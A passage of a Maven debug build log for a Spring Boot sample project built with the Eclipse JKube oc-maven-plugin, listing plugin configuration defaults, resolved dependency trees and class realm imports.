<s2iBuildNameSuffix default-value="">${jkube.s2i.buildNameSuffix}</s2iBuildNameSuffix>
<s2iImageStreamLookupPolicyLocal default-value="true">${jkube.s2i.imageStreamLookupPolicyLocal}</s2iImageStreamLookupPolicyLocal>
<session default-value="${session}"/>
<settings default-value="${settings}"/>
<skip default-value="false">${jkube.skip}</skip>
<skipBuild default-value="false">${docker.skip.build}</skipBuild>
<skipBuildPom>${jkube.skip.build.pom}</skipBuildPom>
<skipExtendedAuth default-value="false">${docker.skip.extendedAuth}</skipExtendedAuth>
<skipMachine default-value="false">${docker.skip.machine}</skipMachine>
<sourceDirectory default-value="src/main/docker">${docker.source.dir}</sourceDirectory>
<useColor default-value="true">${docker.useColor}</useColor>
<useProjectClasspath default-value="false">${jkube.useProjectClasspath}</useProjectClasspath>
<verbose default-value="false">${docker.verbose}</verbose>
<watchInterval default-value="5000">${docker.watchInterval}</watchInterval>
<watchMode default-value="both">${docker.watchMode}</watchMode>
<watchPostExec>${docker.watchPostExec}</watchPostExec>
<watchPostGoal>${docker.watchPostGoal}</watchPostGoal>
</configuration>
[DEBUG] =======================================================================
[DEBUG] Dependency collection stats: {ConflictMarker.analyzeTime=1749248, ConflictMarker.markTime=987805, ConflictMarker.nodeCount=257, ConflictIdSorter.graphTime=1081454, ConflictIdSorter.topsortTime=3924860, ConflictIdSorter.conflictIdCount=103, ConflictIdSorter.conflictIdCycleCount=0, ConflictResolver.totalTime=18123712, ConflictResolver.conflictItemCount=189, DefaultDependencyCollector.collectTime=592281961, DefaultDependencyCollector.transformTime=28285458}
[DEBUG] com.ibm.gts.aro:sample:jar:0.0.1-SNAPSHOT
[DEBUG] org.springframework.boot:spring-boot-starter-actuator:jar:2.2.4.RELEASE:compile
[DEBUG] org.springframework.boot:spring-boot-starter:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG] org.springframework.boot:spring-boot-starter-logging:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG] ch.qos.logback:logback-classic:jar:1.2.3:compile (version managed from 1.2.3)
[DEBUG] ch.qos.logback:logback-core:jar:1.2.3:compile (version managed from 1.2.3)
[DEBUG] org.apache.logging.log4j:log4j-to-slf4j:jar:2.12.1:compile (version managed from 2.12.1)
[DEBUG] org.apache.logging.log4j:log4j-api:jar:2.12.1:compile (version managed from 2.12.1)
[DEBUG] org.slf4j:jul-to-slf4j:jar:1.7.30:compile (version managed from 1.7.30)
[DEBUG] jakarta.annotation:jakarta.annotation-api:jar:1.3.5:compile (version managed from 1.3.5)
[DEBUG] org.yaml:snakeyaml:jar:1.25:runtime (version managed from 1.25)
[DEBUG] org.springframework.boot:spring-boot-actuator-autoconfigure:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG] org.springframework.boot:spring-boot-actuator:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG] com.fasterxml.jackson.core:jackson-databind:jar:2.10.2:compile (version managed from 2.10.2)
[DEBUG] com.fasterxml.jackson.core:jackson-annotations:jar:2.10.2:compile (version managed from 2.10.2)
[DEBUG] org.springframework:spring-context:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG] com.fasterxml.jackson.datatype:jackson-datatype-jsr310:jar:2.10.2:compile (version managed from 2.10.2)
[DEBUG] io.micrometer:micrometer-core:jar:1.3.2:compile (version managed from 1.3.2)
[DEBUG] org.hdrhistogram:HdrHistogram:jar:2.1.11:compile
[DEBUG] org.latencyutils:LatencyUtils:jar:2.0.3:compile
[DEBUG] org.springframework.boot:spring-boot-starter-thymeleaf:jar:2.2.4.RELEASE:compile
[DEBUG] org.thymeleaf:thymeleaf-spring5:jar:3.0.11.RELEASE:compile (version managed from 3.0.11.RELEASE)
[DEBUG] org.thymeleaf:thymeleaf:jar:3.0.11.RELEASE:compile (version managed from 3.0.11.RELEASE)
[DEBUG] org.attoparser:attoparser:jar:2.0.5.RELEASE:compile
[DEBUG] org.unbescape:unbescape:jar:1.1.6.RELEASE:compile
[DEBUG] org.thymeleaf.extras:thymeleaf-extras-java8time:jar:3.0.4.RELEASE:compile (version managed from 3.0.4.RELEASE)
[DEBUG] org.springframework.boot:spring-boot-starter-web:jar:2.2.4.RELEASE:compile
[DEBUG] org.springframework.boot:spring-boot-starter-json:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG] com.fasterxml.jackson.datatype:jackson-datatype-jdk8:jar:2.10.2:compile (version managed from 2.10.2)
[DEBUG] com.fasterxml.jackson.module:jackson-module-parameter-names:jar:2.10.2:compile (version managed from 2.10.2)
[DEBUG] org.springframework.boot:spring-boot-starter-tomcat:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG] org.apache.tomcat.embed:tomcat-embed-core:jar:9.0.30:compile (version managed from 9.0.30)
[DEBUG] org.apache.tomcat.embed:tomcat-embed-el:jar:9.0.30:compile (version managed from 9.0.30)
[DEBUG] org.apache.tomcat.embed:tomcat-embed-websocket:jar:9.0.30:compile (version managed from 9.0.30)
[DEBUG] org.springframework.boot:spring-boot-starter-validation:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG] jakarta.validation:jakarta.validation-api:jar:2.0.2:compile (version managed from 2.0.2)
[DEBUG] org.hibernate.validator:hibernate-validator:jar:6.0.18.Final:compile (version managed from 6.0.18.Final)
[DEBUG] org.jboss.logging:jboss-logging:jar:3.4.1.Final:compile (version managed from 3.3.2.Final)
[DEBUG] com.fasterxml:classmate:jar:1.5.1:compile (version managed from 1.3.4)
[DEBUG] org.springframework:spring-web:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG] org.springframework:spring-beans:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG] org.springframework:spring-webmvc:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG] org.springframework:spring-aop:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG] org.springframework:spring-expression:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG] org.webjars:webjars-locator-core:jar:0.41:compile
[DEBUG] org.slf4j:slf4j-api:jar:1.7.30:compile (version managed from 1.7.7)
[DEBUG] io.github.classgraph:classgraph:jar:4.8.44:compile
[DEBUG] com.fasterxml.jackson.core:jackson-core:jar:2.10.2:compile (version managed from 2.9.8)
[DEBUG] org.webjars.npm:angular__http:jar:2.4.10:compile
[DEBUG] org.webjars:bootstrap:jar:3.3.7:compile
[DEBUG] org.webjars:jquery:jar:3.1.1-1:compile
[DEBUG] org.springframework.boot:spring-boot-devtools:jar:2.2.4.RELEASE:runtime (optional)
[DEBUG] org.springframework.boot:spring-boot:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG] org.springframework.boot:spring-boot-autoconfigure:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG] org.springframework.boot:spring-boot-starter-test:jar:2.2.4.RELEASE:test
[DEBUG] org.springframework.boot:spring-boot-test:jar:2.2.4.RELEASE:test (version managed from 2.2.4.RELEASE)
[DEBUG] org.springframework.boot:spring-boot-test-autoconfigure:jar:2.2.4.RELEASE:test (version managed from 2.2.4.RELEASE)
[DEBUG] com.jayway.jsonpath:json-path:jar:2.4.0:test (version managed from 2.4.0)
[DEBUG] net.minidev:json-smart:jar:2.3:test
[DEBUG] net.minidev:accessors-smart:jar:1.2:test
[DEBUG] org.ow2.asm:asm:jar:5.0.4:test
[DEBUG] jakarta.xml.bind:jakarta.xml.bind-api:jar:2.3.2:test (version managed from 2.3.2)
[DEBUG] jakarta.activation:jakarta.activation-api:jar:1.2.1:test (version managed from 1.2.1)
[DEBUG] org.junit.jupiter:junit-jupiter:jar:5.5.2:test (version managed from 5.5.2)
[DEBUG] org.junit.jupiter:junit-jupiter-api:jar:5.5.2:test (version managed from 5.5.2)
[DEBUG] org.apiguardian:apiguardian-api:jar:1.1.0:test
[DEBUG] org.opentest4j:opentest4j:jar:1.2.0:test
[DEBUG] org.junit.platform:junit-platform-commons:jar:1.5.2:test (version managed from 1.5.2)
[DEBUG] org.junit.jupiter:junit-jupiter-params:jar:5.5.2:test (version managed from 5.5.2)
[DEBUG] org.junit.jupiter:junit-jupiter-engine:jar:5.5.2:test (version managed from 5.5.2)
[DEBUG] org.junit.platform:junit-platform-engine:jar:1.5.2:test (version managed from 1.5.2)
[DEBUG] org.mockito:mockito-junit-jupiter:jar:3.1.0:test (version managed from 3.1.0)
[DEBUG] org.assertj:assertj-core:jar:3.13.2:test (version managed from 3.13.2)
[DEBUG] org.hamcrest:hamcrest:jar:2.1:test (version managed from 2.1)
[DEBUG] org.mockito:mockito-core:jar:3.1.0:test (version managed from 3.1.0)
[DEBUG] net.bytebuddy:byte-buddy:jar:1.10.6:test (version managed from 1.9.10)
[DEBUG] net.bytebuddy:byte-buddy-agent:jar:1.10.6:test (version managed from 1.9.10)
[DEBUG] org.objenesis:objenesis:jar:2.6:test
[DEBUG] org.skyscreamer:jsonassert:jar:1.5.0:test (version managed from 1.5.0)
[DEBUG] com.vaadin.external.google:android-json:jar:0.0.20131108.vaadin1:test
[DEBUG] org.springframework:spring-core:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG] org.springframework:spring-jcl:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG] org.springframework:spring-test:jar:5.2.3.RELEASE:test (version managed from 5.2.3.RELEASE)
[DEBUG] org.xmlunit:xmlunit-core:jar:2.6.3:test (version managed from 2.6.3)
[DEBUG] org.springframework.boot:spring-boot-starter-data-redis:jar:2.2.4.RELEASE:compile
[DEBUG] org.springframework.data:spring-data-redis:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG] org.springframework.data:spring-data-keyvalue:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG] org.springframework.data:spring-data-commons:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG] org.springframework:spring-tx:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG] org.springframework:spring-oxm:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG] org.springframework:spring-context-support:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG] io.lettuce:lettuce-core:jar:5.2.1.RELEASE:compile (version managed from 5.2.1.RELEASE)
[DEBUG] io.netty:netty-common:jar:4.1.45.Final:compile (version managed from 4.1.43.Final)
[DEBUG] io.netty:netty-handler:jar:4.1.45.Final:compile (version managed from 4.1.43.Final)
[DEBUG] io.netty:netty-buffer:jar:4.1.45.Final:compile (version managed from 4.1.45.Final)
[DEBUG] io.netty:netty-codec:jar:4.1.45.Final:compile (version managed from 4.1.45.Final)
[DEBUG] io.netty:netty-transport:jar:4.1.45.Final:compile (version managed from 4.1.43.Final)
[DEBUG] io.netty:netty-resolver:jar:4.1.45.Final:compile (version managed from 4.1.45.Final)
[DEBUG] io.projectreactor:reactor-core:jar:3.3.2.RELEASE:compile (version managed from 3.3.0.RELEASE)
[DEBUG] org.reactivestreams:reactive-streams:jar:1.0.3:compile (version managed from 1.0.3)
[DEBUG] org.projectlombok:lombok:jar:1.18.10:compile
[INFO]
[INFO] --- oc-maven-plugin:0.1.1:build (default-cli) @ sample ---
[DEBUG] Dependency collection stats: {ConflictMarker.analyzeTime=347781, ConflictMarker.markTime=281258, ConflictMarker.nodeCount=224, ConflictIdSorter.graphTime=361273, ConflictIdSorter.topsortTime=133903, ConflictIdSorter.conflictIdCount=132, ConflictIdSorter.conflictIdCycleCount=0, ConflictResolver.totalTime=8676180, ConflictResolver.conflictItemCount=199, DefaultDependencyCollector.collectTime=735910120, DefaultDependencyCollector.transformTime=9955784}
[DEBUG] org.eclipse.jkube:oc-maven-plugin:jar:0.1.1:
[DEBUG] org.eclipse.jkube:jkube-kit-build-service-docker:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-build-maven:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-build-api:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-config-image:jar:0.1.1:compile
[DEBUG] commons-codec:commons-codec:jar:1.13:compile
[DEBUG] org.apache.httpcomponents:httpclient:jar:4.5.6:compile
[DEBUG] org.apache.httpcomponents:httpcore:jar:4.4.10:compile
[DEBUG] commons-logging:commons-logging:jar:1.2:compile
[DEBUG] com.github.jnr:jnr-unixsocket:jar:0.12:compile
[DEBUG] com.github.jnr:jnr-ffi:jar:2.0.9:compile
[DEBUG] com.github.jnr:jffi:jar:1.2.11:compile
[DEBUG] com.github.jnr:jffi:jar:native:1.2.11:runtime
[DEBUG] org.ow2.asm:asm:jar:5.0.3:compile
[DEBUG] org.ow2.asm:asm-commons:jar:5.0.3:compile
[DEBUG] org.ow2.asm:asm-analysis:jar:5.0.3:compile
[DEBUG] org.ow2.asm:asm-tree:jar:5.0.3:compile
[DEBUG] org.ow2.asm:asm-util:jar:5.0.3:compile
[DEBUG] com.github.jnr:jnr-x86asm:jar:1.0.2:compile
[DEBUG] com.github.jnr:jnr-constants:jar:0.9.1:compile
[DEBUG] com.github.jnr:jnr-enxio:jar:0.12:compile
[DEBUG] com.github.jnr:jnr-posix:jar:3.0.29:compile
[DEBUG] org.bouncycastle:bcpkix-jdk15on:jar:1.61:compile
[DEBUG] org.bouncycastle:bcprov-jdk15on:jar:1.61:compile
[DEBUG] org.apache.commons:commons-text:jar:1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-enricher-generic:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-enricher-api:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-resource-service:jar:0.1.1:compile
[DEBUG] com.google.code.findbugs:jsr305:jar:3.0.2:compile
[DEBUG] io.fabric8:ianaservicehelper:jar:0.0.1:compile
[DEBUG] com.google.code.gson:gson:jar:2.8.5:compile
[DEBUG] org.eclipse.jkube:jkube-kit-enricher-specific:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-generator-java-exec:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-generator-api:jar:0.1.1:compile
[DEBUG] org.jboss.shrinkwrap:shrinkwrap-api:jar:1.2.6:compile
[DEBUG] org.jboss.shrinkwrap:shrinkwrap-spi:jar:1.2.6:compile
[DEBUG] org.jboss.shrinkwrap:shrinkwrap-impl-base:jar:1.2.6:compile
[DEBUG] org.eclipse.jkube:jkube-kit-generator-karaf:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-generator-webapp:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-generator-wildfly-swarm:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-thorntail:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-spring-boot:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-watcher-api:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-quarkus:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-common-maven:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-common:jar:0.1.1:compile
[DEBUG] io.fabric8:kubernetes-client:jar:4.6.2:compile
[DEBUG] io.fabric8:kubernetes-model:jar:4.6.2:compile
[DEBUG] io.fabric8:kubernetes-model-common:jar:4.6.2:compile
[DEBUG] com.fasterxml.jackson.module:jackson-module-jaxb-annotations:jar:2.9.10:compile
[DEBUG] com.squareup.okhttp3:okhttp:jar:3.12.6:compile
[DEBUG] com.squareup.okio:okio:jar:1.15.0:compile
[DEBUG] com.squareup.okhttp3:logging-interceptor:jar:3.12.6:compile
[DEBUG] io.fabric8:zjsonpatch:jar:0.3.0:compile
[DEBUG] com.github.mifmif:generex:jar:1.0.2:compile
[DEBUG] dk.brics.automaton:automaton:jar:1.11-8:compile
[DEBUG] io.fabric8:openshift-client:jar:4.6.2:compile
[DEBUG] org.apache.commons:commons-lang3:jar:3.8.1:compile
[DEBUG] org.apache.commons:commons-compress:jar:1.19:compile
[DEBUG] commons-io:commons-io:jar:2.6:compile
[DEBUG] com.google.guava:guava:jar:27.0-jre:compile
[DEBUG] com.google.guava:failureaccess:jar:1.0:compile
[DEBUG] com.google.guava:listenablefuture:jar:9999.0-empty-to-avoid-conflict-with-guava:compile
[DEBUG] org.checkerframework:checker-qual:jar:2.5.2:compile
[DEBUG] com.google.errorprone:error_prone_annotations:jar:2.2.0:compile
[DEBUG] com.google.j2objc:j2objc-annotations:jar:1.1:compile
[DEBUG] org.codehaus.mojo:animal-sniffer-annotations:jar:1.17:compile
[DEBUG] com.fasterxml.jackson.core:jackson-core:jar:2.10.0:compile
[DEBUG] com.fasterxml.jackson.core:jackson-databind:jar:2.10.0:compile
[DEBUG] com.fasterxml.jackson.core:jackson-annotations:jar:2.10.0:compile
[DEBUG] com.fasterxml.jackson.dataformat:jackson-dataformat-yaml:jar:2.10.0:compile
[DEBUG] org.slf4j:slf4j-api:jar:1.7.25:compile
[DEBUG] org.yaml:snakeyaml:jar:1.25:compile
[DEBUG] org.eclipse.jgit:org.eclipse.jgit:jar:5.3.0.201903130848-r:compile
[DEBUG] com.jcraft:jsch:jar:0.1.54:compile
[DEBUG] com.jcraft:jzlib:jar:1.1.1:compile
[DEBUG] com.googlecode.javaewah:JavaEWAH:jar:1.1.6:compile
[DEBUG] org.bouncycastle:bcpg-jdk15on:jar:1.60:compile
[DEBUG] javax.validation:validation-api:jar:2.0.1.Final:compile
[DEBUG] org.fusesource.jansi:jansi:jar:1.16:compile
[DEBUG] org.javassist:javassist:jar:3.20.0-GA:compile
[DEBUG] com.networknt:json-schema-validator:jar:0.1.7:compile
[DEBUG] org.slf4j:slf4j-ext:jar:1.7.25:compile
[DEBUG] org.apache.maven:maven-core:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-model:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-settings:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-settings-builder:jar:3.5.4:compile
[DEBUG] org.codehaus.plexus:plexus-interpolation:jar:1.24:compile
[DEBUG] org.sonatype.plexus:plexus-sec-dispatcher:jar:1.4:compile
[DEBUG] org.sonatype.plexus:plexus-cipher:jar:1.4:compile
[DEBUG] org.apache.maven:maven-builder-support:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-repository-metadata:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-artifact:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-plugin-api:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-model-builder:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-resolver-provider:jar:3.5.4:compile
[DEBUG] org.apache.maven.resolver:maven-resolver-impl:jar:1.1.1:compile
[DEBUG] org.apache.maven.resolver:maven-resolver-api:jar:1.1.1:compile
[DEBUG] org.apache.maven.resolver:maven-resolver-spi:jar:1.1.1:compile
[DEBUG] org.apache.maven.resolver:maven-resolver-util:jar:1.1.1:compile
[DEBUG] org.apache.maven.shared:maven-shared-utils:jar:3.2.1:compile
[DEBUG] org.eclipse.sisu:org.eclipse.sisu.plexus:jar:0.3.3:compile
[DEBUG] javax.enterprise:cdi-api:jar:1.0:compile
[DEBUG] javax.annotation:jsr250-api:jar:1.0:compile
[DEBUG] org.eclipse.sisu:org.eclipse.sisu.inject:jar:0.3.3:compile
[DEBUG] com.google.inject:guice:jar:no_aop:4.2.0:compile
[DEBUG] aopalliance:aopalliance:jar:1.0:compile
[DEBUG] javax.inject:javax.inject:jar:1:compile
[DEBUG] org.codehaus.plexus:plexus-classworlds:jar:2.5.2:compile
[DEBUG] org.codehaus.plexus:plexus-archiver:jar:3.5:compile
[DEBUG] org.codehaus.plexus:plexus-utils:jar:3.0.24:compile
[DEBUG] org.codehaus.plexus:plexus-io:jar:3.0.0:compile
[DEBUG] org.iq80.snappy:snappy:jar:0.4:compile
[DEBUG] org.tukaani:xz:jar:1.6:runtime
[DEBUG] org.apache.maven.plugins:maven-assembly-plugin:jar:3.1.1:compile
[DEBUG] org.apache.maven.shared:maven-artifact-transfer:jar:0.9.0:compile
[DEBUG] org.apache.maven.shared:file-management:jar:3.0.0:compile
[DEBUG] org.apache.maven.shared:maven-shared-io:jar:3.0.0:compile
[DEBUG] org.apache.maven.wagon:wagon-provider-api:jar:2.10:compile
[DEBUG] org.apache.maven.shared:maven-filtering:jar:3.1.1:compile
[DEBUG] org.sonatype.plexus:plexus-build-api:jar:0.0.7:compile
[DEBUG] org.apache.maven:maven-archiver:jar:3.2.0:compile
[DEBUG] org.apache.maven.shared:maven-common-artifact-filters:jar:3.1.0:compile
[DEBUG] org.sonatype.sisu:sisu-inject-plexus:jar:1.4.2:compile
[DEBUG] org.codehaus.plexus:plexus-component-annotations:jar:1.5.4:compile
[DEBUG] org.sonatype.sisu:sisu-inject-bean:jar:1.4.2:compile
[DEBUG] org.sonatype.sisu:sisu-guice:jar:noaop:2.1.7:compile
[DEBUG] org.eclipse.jkube:jkube-kit-vertx:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-profiles:jar:0.1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-config-resource:jar:0.1.1:compile
[DEBUG] org.apache.maven.plugin-tools:maven-plugin-annotations:jar:3.6.0:compile
[DEBUG] org.eclipse.jkube:jkube-kit-watcher-standard:jar:0.1.1:compile
[DEBUG] Created new class realm plugin>org.eclipse.jkube:oc-maven-plugin:0.1.1
[DEBUG] Importing foreign packages into class realm plugin>org.eclipse.jkube:oc-maven-plugin:0.1.1
[DEBUG] Imported: < maven.api
[DEBUG] Populating class realm plugin>org.eclipse.jkube:oc-maven-plugin:0.1.1
[DEBUG] Included: org.eclipse.jkube:oc-maven-plugin:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-build-service-docker:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-build-maven:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-build-api:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-config-image:jar:0.1.1
[DEBUG] Included: commons-codec:commons-codec:jar:1.13
[DEBUG] Included: org.apache.httpcomponents:httpclient:jar:4.5.6
[DEBUG] Included: org.apache.httpcomponents:httpcore:jar:4.4.10
[DEBUG] Included: commons-logging:commons-logging:jar:1.2
[DEBUG] Included: com.github.jnr:jnr-unixsocket:jar:0.12
[DEBUG] Included: com.github.jnr:jnr-ffi:jar:2.0.9
[DEBUG] Included: com.github.jnr:jffi:jar:1.2.11
[DEBUG] Included: com.github.jnr:jffi:jar:native:1.2.11
[DEBUG] Included: org.ow2.asm:asm:jar:5.0.3
[DEBUG] Included: org.ow2.asm:asm-commons:jar:5.0.3
[DEBUG] Included: org.ow2.asm:asm-analysis:jar:5.0.3
[DEBUG] Included: org.ow2.asm:asm-tree:jar:5.0.3
[DEBUG] Included: org.ow2.asm:asm-util:jar:5.0.3
[DEBUG] Included: com.github.jnr:jnr-x86asm:jar:1.0.2
[DEBUG] Included: com.github.jnr:jnr-constants:jar:0.9.1
[DEBUG] Included: com.github.jnr:jnr-enxio:jar:0.12
[DEBUG] Included: com.github.jnr:jnr-posix:jar:3.0.29
[DEBUG] Included: org.bouncycastle:bcpkix-jdk15on:jar:1.61
[DEBUG] Included: org.bouncycastle:bcprov-jdk15on:jar:1.61
[DEBUG] Included: org.apache.commons:commons-text:jar:1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-enricher-generic:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-enricher-api:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-resource-service:jar:0.1.1
[DEBUG] Included: com.google.code.findbugs:jsr305:jar:3.0.2
[DEBUG] Included: io.fabric8:ianaservicehelper:jar:0.0.1
[DEBUG] Included: com.google.code.gson:gson:jar:2.8.5
[DEBUG] Included: org.eclipse.jkube:jkube-kit-enricher-specific:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-generator-java-exec:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-generator-api:jar:0.1.1
[DEBUG] Included: org.jboss.shrinkwrap:shrinkwrap-api:jar:1.2.6
[DEBUG] Included: org.jboss.shrinkwrap:shrinkwrap-spi:jar:1.2.6
[DEBUG] Included: org.jboss.shrinkwrap:shrinkwrap-impl-base:jar:1.2.6
[DEBUG] Included: org.eclipse.jkube:jkube-kit-generator-karaf:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-generator-webapp:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-generator-wildfly-swarm:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-thorntail:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-spring-boot:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-watcher-api:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-quarkus:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-common-maven:jar:0.1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-common:jar:0.1.1
[DEBUG] Included: io.fabric8:kubernetes-client:jar:4.6.2
[DEBUG] Included: io.fabric8:kubernetes-model:jar:4.6.2
[DEBUG] Included: io.fabric8:kubernetes-model-common:jar:4.6.2
[DEBUG] Included: com.fasterxml.jackson.module:jackson-module-jaxb-annotations:jar:2.9.10
[DEBUG] Included: com.squareup.okhttp3:okhttp:jar:3.12.6
[DEBUG] Included: com.squareup.okio:okio:jar:1.15.0
[DEBUG] Included: com.squareup.okhttp3:logging-interceptor:jar:3.12.6
[DEBUG] Included: io.fabric8:zjsonpatch:jar:0.3.0
[DEBUG] Included: com.github.mifmif:generex:jar:1.0.2
[DEBUG] Included: dk.brics.automaton:automaton:jar:1.11-8
[DEBUG] Included: io.fabric8:openshift-client:jar:4.6.2
[DEBUG] Included: org.apache.commons:commons-lang3:jar:3.8.1
[DEBUG] Included: org.apache.commons:commons-compress:jar:1.19
[DEBUG] Included: commons-io:commons-io:jar:2.6
[DEBUG] Included: com.google.guava:guava:jar:27.0-jre
[DEBUG] Included: com.google.guava:failureaccess:jar:1.0
[DEBUG] Included: com.google.guava:listenablefuture:jar:9999.0-empty-to-avoid-conflict-with-guava
[DEBUG] Included: org.checkerframework:checker-qual:jar:2.5.2
[DEBUG] Included: com.google.errorprone:error_prone_annotations:jar:2.2.0
[DEBUG] Included: com.google.j2objc:j2objc-annotations:jar:1.1
[DEBUG] Included: org.codehaus.mojo:animal-sniffer-annotations:jar:1.17
[DEBUG] Included: com.fasterxml.jackson.core:jackson-core:jar:2.10.0
[DEBUG] Included: com.fasterxml.jackson.core:jackson-databind:jar:2.10.0
[DEBUG] Included: com.fasterxml.jackson.core:jackson-annotations:jar:2.10.0
[DEBUG] Included: com.fasterxml.jackson.dataformat:jackson-dataformat-yaml:jar:2.10.0
[DEBUG] Included: org.yaml:snakeyaml:jar:1.25
[DEBUG] Included: org.eclipse.jgit:org.eclipse.jgit:jar:5.3.0.201903130848-r
[DEBUG] Included: com.jcraft:jsch:jar:0.1.54
[DEBUG] Included: com.jcraft:jzlib:jar:1.1.1
[DEBUG] Included: com.googlecode.javaewah:JavaEWAH:jar:1.1.6
[DEBUG] Included: org.bouncycastle:bcpg-jdk15on:jar:1.60
[DEBUG] Included: javax.validation:validation-api:jar:2.0.1.Final
[DEBUG] Included: org.javassist:javassist:jar:3.20.0-GA
[DEBUG] Included: com.networknt:json-schema-validator:jar:0.1.7
[DEBUG] Included: org.slf4j:slf4j-ext:jar:1.7.25
[DEBUG] Included: org.codehaus.plexus:plexus-interpolation:jar:1.24
[DEBUG] Included: org.sonatype.plexus:plexus-sec-dispatcher:jar:1.4
[DEBUG] Included: org.sonatype.plexus:plexus-cipher:jar:1.4
[DEBUG] Included: org.apache.maven:maven-builder-support:jar:3.5.4
[DEBUG] Included: org.apache.maven.resolver:maven-resolver-util:jar:1.1.1
[DEBUG] Included: org.apache.maven.shared:maven-shared-utils:jar:3.2.1
[DEBUG] Included: javax.enterprise:cdi-api:jar:1.0
[DEBUG] Included: org.eclipse.sisu:org.eclipse.sisu.inject:jar:0.3.3
[DEBUG] Included: com.google.inject:guice:jar:no_aop:4.2.0
[DEBUG] Included: aopalliance:aopalliance:jar:1.0
[DEBUG] Included: org.codehaus.plexus:plexus-archiver:jar:3.5
[DEBUG] Included: org.codehaus.plexus:plexus-utils:jar:3.0.24
[DEBUG] Included: org.codehaus.plexus:plexus-io:jar:3.0.0
[DEBUG] Included: org.iq80.snappy:snappy:jar:0.4
[DEBUG] Included: org.tukaani:xz:jar:1.6
[DEBUG] Included: org.apache.maven.plugins:maven-assembly-plugin:jar:3.1.1
[DEBUG] Included: org.apache.maven.shared:maven-artifact-transfer:jar:0.9.0
[DEBUG] Included: org.apache.maven.shared:file-management:jar:3.0.0
[DEBUG] Included: org.apache.maven.shared:maven-shared-io:jar:3.0.0
[DEBUG] Included: org.apache.maven.shared:maven-filtering:jar:3.1.1
[DEBUG] Included: org.sonatype.plexus:plexus-build-api:jar:0.0.7
[DEBUG] Included: org.apache.maven:maven-archiver:jar:3.2.0
[DEBUG] Included: org.apache.maven.shared:maven-common-artifact-filters:jar:3.1.0
[DEBUG] Included: org.codehaus.plexus:plexus-component-annotations:jar:1.5.4
